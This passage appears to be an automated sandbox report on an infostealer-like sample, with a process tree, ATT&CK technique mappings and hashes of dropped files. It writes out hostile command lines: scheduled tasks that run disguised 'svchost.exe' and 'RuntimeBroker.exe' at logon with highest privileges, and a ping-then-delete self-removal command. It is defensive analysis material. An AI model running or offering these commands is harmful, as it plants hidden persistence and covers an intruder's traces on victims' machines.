        "C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /rl highest /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3668
        
        C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe -Embedding" /sc onlogon /rl highest /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3308
        
        C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe"
        7⤵
        Executes dropped EXE
        
        PID:4592
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4276
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
        5⤵
        
        PID:3176
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito
        5⤵
        
        PID:2108
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4440
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5040
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:224
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
        5⤵
        
        PID:4496
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4992
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2076
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3112
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
        5⤵
        
        PID:3528
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:640
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
        5⤵
        
        PID:1460
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3868
  - - C:\Windows\system32\cmd.exe
      "cmd.exe" /c "ping -n 3 127.0.0.1 >nul & del \"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\bqarjm\father5345.exe\""
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:5116
    - - C:\Windows\system32\PING.EXE
        
        ping -n 3 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2120
- - C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\bqarjm\hhed6zpvmw.exe
    C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\bqarjm\hhed6zpvmw.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of SetWindowsHookEx
    PID:3864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4988
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:1804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4588
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:3308
- - C:\Windows\system32\cmd.exe
    cmd.exe /c C:\Users\Admin\AppData\Local\Temp\clean_1774728919164.bat
    3⤵
    PID:2680
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 3
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2360
- - C:\Users\Admin\AppData\Local\Temp\7z806E63F8\FileInstaller.exe
    "C:\Users\Admin\AppData\Local\Temp\7z806E63F8\FileInstaller.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --user-data-dir="C:\Users\Admin\AppData\Roaming\file-installer" --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1740,i,1569313058075119129,6156813272273177800,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mojo-platform-channel-handle=3068 /prefetch:8
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    PID:2712

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 428 -p 4848 -ip 4848
1⤵
PID:2932

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1228

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3780

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4336

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:420

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1464

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1792

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1232

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3068

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2156

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4108

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 81fc6cfe81caf86f84e1285cb854082ac5e127335b5946da154a73f7aa9c2122
MD5 ed30ca9187bf5593affb3dc9276309a6
SHA1 c63757897a6c43a44102b221fe8dc36355e99359
SHA512 1df4f44b207bb30fecee119a2f7f7ab7a0a0aed4d58eeabbec5791d5a6d9443cccffa5479ad4da094e6b88c871720d2e4bcf14ebec45a587ee4ec5e572f37810
TLSH
T1C051DA313275A1E4C91A3F47192819C023BF8355FA98AF5CB65C521EE92740B9B222F3
MD5 SHA1 SHA512 TLSH

Submit Download

svchost.exe

Path C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe
Size 6.0MB
SHA256 d29e268b1d568e942e5b16e020398a8a888d2a693f725478bdf4e9865463b79f
MD5 b372fe0847112f156e0ba39318a7fe54
SHA1 423076476247ff4264298296ff0f6edef3f9ad14
SHA512 b241601fb4f29092b86a2009138da1c81a645aa647ad33f9935b010d069f7d2d856f097fa8245378dae40242824026c146536cded3ca5bdc665447d0db5e6725
SSDEEP 98304:IQiFytO1s/YLceSxJAyJh3ETWvR/2uWujfoTcBqNUK:IzFytO1s/ihSxJAyJh3E5uBO
TLSH
T1A356CE276D555453E41DC4BAE392562553B0EF3F2581CAE32040BBB178E23E4FAADF88
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

father5345.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\bqarjm\father5345.tmp
Size 6.8MB
SHA256 92ad2bd320a490c54307dae1689df039c27fa122ffd2c68d52312ec8ac0a7224
MD5 13ab8cad9b39f5310223a3752ab62316
SHA1 9e0ebb482b9f9d997e2d21d615e51218cf59d673
SHA512 a802ebe5cbb4ad13a813b4c2708d3e2034a637ac9f3849066b835a3795af97f71743311e410a43369c7150415bff0b511fb4580fa109929aeb9fcb8e42efb45c
SSDEEP 24576:ClovbTkkeHLB93hLAbxWLdv2B9XfrhxNHVkA6c33loB8fGiZBRbxbCNQl59Qj1ke:CIHkkE
TLSH
T12E66BE74325868F5E72F427FD9526CCD137226334396A8DE9274E3C22653AB5FF26808
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hhed6zpvmw.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\bqarjm\hhed6zpvmw.tmp
Size 953KB
SHA256 e8e71e9cdd4f978f6010ad374b3d6fe91039de7591ea07d965d50cc883d4968b
MD5 d36d1bedaae5e54df6700bbb57c6c176
SHA1 4ed182e50a3164af91c7a8fe6810044b23081a3d
SHA512 4fefa10985357c60e9da0c2e30d7f40c90335e0dfcc332cbd3fa986c9428d614d640740e1e96a1392e9a92561c3627efda1712701ae4488ebc2612e066d94bf2
SSDEEP 24576:jiXUefxJzck+uGW/yFoBkkAQDUU6Q4mW/NNVh:jiXUefTYjqqanTwfuWfV
TLSH
T13525CF9473F4850AE1FF1B79B4B249494BB7B9529A36DB8F0C84D0AD1EB37408E117A3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download